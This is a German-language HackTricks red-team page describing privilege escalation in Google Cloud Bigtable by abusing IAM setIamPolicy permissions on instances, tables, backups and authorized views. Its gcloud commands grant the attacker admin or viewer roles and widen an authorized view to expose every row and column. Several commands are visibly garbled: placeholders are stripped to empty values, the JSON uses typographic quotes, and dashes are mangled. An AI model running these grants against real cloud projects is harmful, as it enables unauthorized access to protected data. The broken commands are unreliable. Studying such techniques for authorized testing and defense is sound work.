GCP - Bigtable Privesc

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Bigtable

Weitere Informationen zu Bigtable:

GCP - Bigtable Enum

bigtable.instances.setIamPolicy

Berechtigungen: bigtable.instances.setIamPolicy (und normalerweise bigtable.instances.getIamPolicy, um die aktuellen Bindungen auszulesen).

Wenn Sie die IAM-Policy der Instanz besitzen, können Sie sich selbst roles/bigtable.admin (oder jede benutzerdefinierte Rolle) gewähren, die sich auf jeden Cluster, jede Tabelle, jedes Backup und jede autorisierte Ansicht in der Instanz auswirkt.

Gewähre dir die Rolle bigtable.admin auf der Instanz ```bash gcloud bigtable instances add-iam-policy-binding \ --member='user:' \ --role='roles/bigtable.admin' ```

Tip

Wenn du die bestehenden Bindings nicht auflisten kannst, erstelle ein neues Policy-Dokument und schiebe es mit gcloud bigtable instances set-iam-policy, solange du dich selbst darin behältst.

Sobald du diese Berechtigung hast, siehe die Bigtable Post Exploitation section für weitere Techniken, um Bigtable-Berechtigungen auszunutzen.

bigtable.tables.setIamPolicy

Berechtigungen: bigtable.tables.setIamPolicy (optional bigtable.tables.getIamPolicy).

Instanzrichtlinien können eingeschränkt sein, während einzelne Tabellen delegiert werden. Wenn du die IAM-Richtlinie einer Tabelle bearbeiten kannst, kannst du dich selbst zum Owner des Ziel-Datasets befördern, ohne andere Workloads zu beeinträchtigen.

Dir die bigtable.admin-Rolle auf einer Tabelle gewähren ```bash gcloud bigtable tables add-iam-policy-binding \ --instance= \ --member='user:' \ --role='roles/bigtable.admin' ```

Siehe die Berechtigungsprüfung in der Bigtable Post Exploitation section für weitere Wege, Bigtable-Berechtigungen zu missbrauchen.

bigtable.backups.setIamPolicy

Permissions: bigtable.backups.setIamPolicy

Backups können in jede Instanz in jedem Projekt, das du kontrollierst, wiederhergestellt werden. Gib zuerst deiner Identität Zugriff auf die Sicherung, und stelle sie dann in einer Sandbox wieder her, in der du Admin/Owner-Rollen innehast.

Wenn du die Berechtigung bigtable.backups.setIamPolicy hast, könntest du dir selbst die Berechtigung bigtable.backups.restore gewähren, um alte Backups wiederherzustellen und zu versuchen, an sensible Informationen zu gelangen.

Take ownership of backup snapshot ```bash # Take ownership of the snapshot gcloud bigtable backups add-iam-policy-binding \ --instance= --cluster= \ --member='user:' \ --role='roles/bigtable.admin' ```

Nachdem diese Berechtigungsprüfung in der Bigtable Post Exploitation section durchgeführt wurde, siehe dort, wie ein Backup wiederhergestellt wird.

Authorized View aktualisieren

Berechtigungen: bigtable.authorizedViews.update

Authorized Views sollen Zeilen/Spalten redigieren. Das Ändern oder Löschen von ihnen entfernt die fein abgestimmten Schutzvorrichtungen, auf die Verteidiger angewiesen sind.

Authorized view aktualisieren, um den Zugriff zu erweitern ```bash # Broaden the subset by uploading a permissive definition gcloud bigtable authorized-views update \ --instance= --table= \ --definition-file=/tmp/permissive-view.json --ignore-warnings

Json example not filtering any row or column

cat <<‘EOF’ > /tmp/permissive-view.json { “subsetView”: { “rowPrefixes”: [“”], “familySubsets”: { “”: { “qualifierPrefixes”: [“”] } } } } EOF

Describe the authorized view to get a family name

gcloud bigtable authorized-views describe
–instance= –table=

</details>

Siehe in der [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md), um zu prüfen, wie man aus einer Authorized View liest.

### `bigtable.authorizedViews.setIamPolicy`

**Berechtigungen:**  `bigtable.authorizedViews.setIamPolicy`.

Ein Angreifer mit dieser Berechtigung kann sich selbst Zugriff auf eine Authorized View gewähren, die sensible Daten enthalten kann, auf die er sonst keinen Zugriff hätte.

<details><summary>Sich selbst Zugriff auf eine Authorized View gewähren</summary>
```bash
# Give more permissions over an existing view
gcloud bigtable authorized-views add-iam-policy-binding <view-id> \
--instance=<instance-id> --table=<table-id> \
--member='user:<attacker@example.com>' \
--role='roles/bigtable.viewer'

Nachdem diese Berechtigungsüberprüfung in der Bigtable Post Exploitation section durchgeführt wurde, siehe dort, wie man aus einer autorisierten View liest.

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks